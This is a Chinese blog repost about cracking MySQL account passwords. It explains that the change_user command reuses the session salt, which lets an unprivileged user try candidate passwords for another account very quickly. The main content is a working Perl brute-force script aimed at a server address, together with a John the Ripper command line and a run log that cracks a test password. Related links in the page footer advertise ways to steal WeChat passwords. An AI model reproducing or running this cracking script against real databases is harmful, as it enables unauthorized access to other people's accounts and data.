文档章节

MySQL 本地和远程密码破解

孽海情天
 孽海情天
发布于 2012/12/16 20:41
字数 565
阅读 160
收藏 7

快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。

我找到一个方法可非常高效的破解 MySQL 的用户密码,包括本地用户和通过网络方式访问的用户密码。在我的测试中,通过网络方式的方法可每秒钟测试 5000 个密码。

方法如下:

攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。

是什么导致非常慢?

因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。

下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:

测试的用户是 crackme 密码为 pass,只需数秒就可破解。

(大约 20 秒钟可测试 10 万密码)

测试脚本如下:
01 use Net::MySQL;
02  
03 $|=1;
04  
05 my $mysql = Net::MySQL->new(
06  hostname => '192.168.2.3',
07  database => 'test',
08  user     => "user",
09  password => "secret",
10  debug => 0,
11 );
12  
13 $crackuser = "crackme";
14  
15 while(<stdin>) {
16 chomp;
17 $currentpass = $_;
18  
19 $vv = join "\0",
20         $crackuser,
21         "\x14".
22         Net::MySQL::Password->scramble(
23             $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
24         ) . "\0";
25 if ($mysql->_execute_command("\x11", $vv) ne undef) {
26     print "[*] Cracked! --> $currentpass\n";
27     exit;
28 }
29 }

下面是我这台机器上的执行结果:

C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo

hn --incremental --stdout=5 | perl mysqlcrack.pl 
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5 
words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH 
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap 
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3 
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429 
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141 
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n 
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2 
[*] Cracked! --> pass 
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs 

Session aborted

祝你好运:)

本文转载自:http://www.oschina.net/question/12_82103

共有 人打赏支持
孽海情天
粉丝 4
博文 11
码字总数 5385
作品 0
成都
系统管理员
私信 提问
快速的 MySQL 本地和远程密码破解

只看标题的浮躁用户请特别注意以下内容!!! 快速的 MySQL 本地和远程密码破解!首先需要对数据库维护人员说明的是,不必紧张,你无需修补这个问题,看起来其实是个小错误而已。 我找到一个...

红薯
2012/12/05
12.6K
23
分析黑客软件:怎么盗微信号密码最简单方法?如何破解微信密码?

黑客软件:怎么盗微信号密码最简单方法?如何破解微信密码? 微信在生活中应用的十分广泛,自微信问世以来,很多黑客都在利用微信的种种漏洞来破解微信密码。不过很多人都不清楚自己的微信密码是...

艾德风范
07/31
0
0
扒一扒破解软件教程:如何破解别人微信密码?怎么盗取微信密码?

微信的出现给我们的生活带来了很大的便利,让人与人之间的距离缩短了不少,即使在天涯海角也可以通过这个软件沟通。近两年随着微信功能的不断增强,先后又增添了微信红包等功能,而这也吸引了...

眉山大侠001
08/07
0
0
perl脚本运行时报错

@红薯先生 您好,想跟你请教个问题: 使用您之前发的《MySQL 本地和远程密码破解》的脚本时候报错,我是个新手,不懂代码,但是想钻研,报错提示如下,麻烦帮分析下,感谢! d:>perl jo.pl ...

ShormyChan
2017/03/27
79
0
MySQL数据库渗透及漏洞利用总结

MySQL 数据库渗透及漏洞利用总结 Simeon MySQL 数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用 MySQL 作为其数据库支撑,目前很多架构都以 MySQL 作为数据库管理系统...

simeon2005
2017/11/14
0
0

没有更多内容

加载失败,请刷新页面

加载更多

Win10:默认的图片打开应用,打开图片时速度明显很慢的解决办法

首先,我们随便地打开一张图片。然后,点击右上角的三个小点,最后点击弹出菜单最下面的“设置”。如下图: 在“设置”中找到下面的“人物”,把它关掉就好了。 原来,默认情况下,Win 10的图...

LivingInFHL
40分钟前
2
0
js代码激发onchange事件,兼容谷歌火狐IE

var el = document.getElementsByName('role')[0]; el.value = '3'; var evt = document.createEvent("HTMLEvents"); evt.initEvent("change", false, true); el.dispatchEvent(evt);......

我退而结网
54分钟前
3
0
mysql客户端报错:libmysqlclient_16 not defined in file libmysqlclient.so.16

报错情况: 安装完mydumper之后(上一篇文章),登陆Mysql客户端报错:version libmysqlclient_16 not defined in file libmysqlclient.so.16 with link time reference 同样:mysql的其他客...

machogyb
今天
1
0
MySQL 数据库中间件 安装部署测试全过程

1、环境准备 1.1、操作系统环境 [root@MyCat conf]# uname -aLinux MyCat 2.6.32-431.el6.x86_64 #1 SMP Sun Nov 10 22:19:54 EST 2013 x86_64 x86_64 x86_64 GNU/Linux 1.2、关闭SELIN......

PeakFang-BOK
今天
6
0
Linux Mysql 安装

https://www.cnblogs.com/xinjing-jingxin/p/8025805.html

流氓兔-
今天
2
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部